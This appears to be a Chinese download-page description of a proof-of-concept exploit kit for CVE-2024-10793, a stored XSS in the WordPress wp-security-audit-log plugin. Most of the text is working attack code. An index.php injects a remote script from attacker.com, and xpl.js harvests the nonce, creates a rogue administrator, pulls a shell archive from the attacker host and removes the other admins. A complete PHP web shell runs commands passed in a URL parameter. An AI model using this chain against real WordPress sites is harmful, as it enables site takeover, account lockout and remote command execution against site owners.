意项
39.91M · 2026-03-23
本项目是CVE-2024-10793漏洞的概念验证(PoC)利用工具。该漏洞存在于 wp-security-audit-log 插件(版本 5.2.1 及更早版本)中。攻击者可以通过诱使已登录的管理员访问特制的恶意页面,在目标WordPress站点上执行任意JavaScript代码,进而实现账户接管、创建特权账户、上传Web Shell等操作,完全控制目标站点。
amin@attacker.com / amin / 123456)。/wp-content/plugins/sogrid/ 目录下上传并执行Web Shell(shell.php),提供远程命令执行能力。wp-security-audit-log 插件(版本 ≤ 5.2.1)配置本地Hosts文件
将以下两行添加到你的 hosts 文件中,以模拟目标站点和攻击者服务器:
127.0.0.1 goodcms.lab
127.0.0.1 attacker.com
启动WordPress目标环境 使用提供的Docker Compose文件启动一个包含WordPress及漏洞插件的测试环境:
sudo systemctl start docker
sudo docker-compose up -d
安装WordPress
打开浏览器访问 ,按照WordPress安装向导完成安装。之后,在WordPress后台安装并激活 wp-security-audit-log 插件(版本需为5.2.1或更早)。
启动攻击者服务器 在包含项目代码的目录下,启动一个PHP服务器来托管攻击载荷:
php -S 0:9091 -t ./exploit
发起攻击
将恶意链接 发送给已登录WordPress的管理员用户。一旦受害者访问该链接,攻击将自动执行。
。amin / 123456 登录目标WordPress站点 ()。 来在目标服务器上执行系统命令。攻击的核心在于利用 admin-ajax.php 中的 destroy-sessions 动作存在的XSS漏洞,注入一个外部的JavaScript文件(xpl.js)。这个JS文件负责执行所有后续的恶意操作。
// 这是从 attacker.com:9091/xpl.js 加载的恶意脚本的核心逻辑
// 1. 创建新的管理员用户
fetch('/wp-admin/user-new.php')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const nonce = doc.getElementById('_wpnonce_create-user').value;
// 构造创建用户的POST请求,添加一个名为'amin'的管理员
return fetch('/wp-admin/user-new.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `action=createuser&_wpnonce_create-user=${nonce}&user_login=amin&email=amin@attacker.com&pass1=123456&pass2=123456&role=administrator`
});
})
// 2. 上传Web Shell
.then(() => fetch('http://attacker.com:9091/shell'))
.then(r => r.blob())
.then(zipBlob => {
// ... 此处省略解压和上传shell.php到 /wp-content/plugins/sogrid/ 的详细代码 ...
})
// 3. 删除其他管理员并登出当前用户
.then(() => {
// 获取所有用户并删除非'amin'的管理员
// 最后调用 wp-login.php?action=logout 登出受害者
});
以下是攻击工具中负责核心利用逻辑的代码片段,展示了如何通过XSS进行账户创建和文件上传。
1. XSS 注入点触发 (index.php)
此代码段位于攻击者服务器根目录的index.php文件中。当受害者访问时,它会向存在漏洞的目标站点发送一个包含恶意<script>标签的请求,从而触发XSS。
<?php
// ... 省略会话管理代码 ...
// 构造向目标站点的XMLHttpRequest,注入攻击脚本
$payload = 'CVE-2024-10793<script src="http://attacker.com:9091/xpl.js"></script>';
?>
<script>
const targetOrigin = 'http://goodcms.lab:2121';
const payload = 'CVE-2024-10793<script src="http://attacker.com:9091/xpl.js"></script>';
const logout = new XMLHttpRequest();
logout.open('POST', targetOrigin+'/wp-admin/admin-ajax.php', true);
logout.onreadystatechange = function() {if (this.readyState === this.DONE) console.log('[*] XSS injected!')};
logout.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
logout.withCredentials = true;
// 将恶意payload注入到 'user_id' 参数中
logout.send('action=destroy-sessions&user_id='+encodeURIComponent(payload));
</script>
2. 添加管理员账户 (xpl.js)
此代码段是从xpl.js中提取的,它通过获取CSRF Token并发送POST请求,在目标WordPress站点上创建一个新的管理员用户。
// 辅助函数:将HTML文本转换为DOM对象
function textToDOM(text) {
return new DOMParser().parseFromString(text, 'text/html');
}
// 核心功能:添加管理员账户
function addAdmin(email, username, password) {
return new Promise((resolve, reject) => {
const path = '/wp-admin/user-new.php';
const xhr = new XMLHttpRequest();
xhr.open('GET', path, true);
xhr.onreadystatechange = function () {
if (this.readyState === this.DONE && this.status === 200) {
// 1. 从页面中解析出CSRF Token (_wpnonce_create-user)
const $ = textToDOM(this.responseText);
const csrfTokenElement = $.getElementById('_wpnonce_create-user');
if (csrfTokenElement) {
const csrfToken = csrfTokenElement.value;
// 2. 使用获取到的Token发送创建用户的POST请求
const postXhr = new XMLHttpRequest();
postXhr.open('POST', path, true);
postXhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
postXhr.withCredentials = true;
postXhr.onreadystatechange = function () {
if (this.readyState === this.DONE && this.status === 302) {
// 创建成功,跟随重定向
const location = postXhr.getResponseHeader('Location');
// ... 处理重定向 ...
resolve({ email, username, password });
}
};
// 添加管理员用户的请求体
const postData = `action=createuser&_wpnonce_create-user=${encodeURIComponent(csrfToken)}&user_login=${username}&email=${email}&pass1=${password}&pass2=${password}&role=administrator`;
postXhr.send(postData);
}
}
};
xhr.withCredentials = true;
xhr.send();
});
}
3. Web Shell 代码 (shell.zip -> shell.php)
这是最终被上传到目标站点的Web Shell的代码。它允许攻击者通过cmd参数执行任意系统命令。
<?php
// shell.php - 上传到 /wp-content/plugins/sogrid/shell.php
if (isset($_GET['cmd'])) {
// 执行系统命令并输出结果
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
} else {
// 如果没有提供命令,显示一个简单的表单
echo "<form method='GET'> <input type='text' name='cmd' placeholder='Enter command (e.g., id, whoami, ls)'/> <input type='submit' value='Execute'/> </form>";
}
?>
```FINISHED
6HFtX5dABrKlqXeO5PUv/+QL4fdSx/FJMtBQ/QIbjAw=